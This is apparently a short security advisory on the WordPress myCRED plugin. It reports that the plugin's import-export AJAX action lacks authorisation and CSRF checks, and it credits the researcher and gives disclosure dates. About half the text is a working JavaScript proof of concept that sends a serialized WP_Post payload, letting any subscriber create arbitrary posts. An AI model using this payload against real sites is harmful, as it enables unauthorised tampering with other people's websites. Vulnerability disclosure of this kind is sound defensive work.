The plugin does not have any authorisation and CSRF checks in the mycred-tools-import-export AJAX action, allowing any authenticated users, such as subscribers, to call it and import mycred setup, thus creating badges, managing points or creating arbitrary posts.
PoC for creating arbitrary posts: let formData = new FormData; formData.append('_file', new Blob(['{"badges":{"7":{"badge":"O:7:\\"WP_Post\\":3:{s:12:\\"post_content\\";s:4:\\"test\\";s:10:\\"post_title\\";s:4:\\"test\\";s:9:\\"post_type\\";s:4:\\"post\\";}"}}}'])) formData.append('action', 'mycred-tools-import-export'); formData.append('request_tab', 'setup'); formData.append('request', 'import'); fetch("/wp-admin/admin-ajax.php", { "body": formData, "method": "POST" });
Krzysztof Zając
Krzysztof Zając
Yes
2022-03-29 (about 10 months ago)
2022-03-29 (about 10 months ago)
2022-04-11 (about 9 months ago)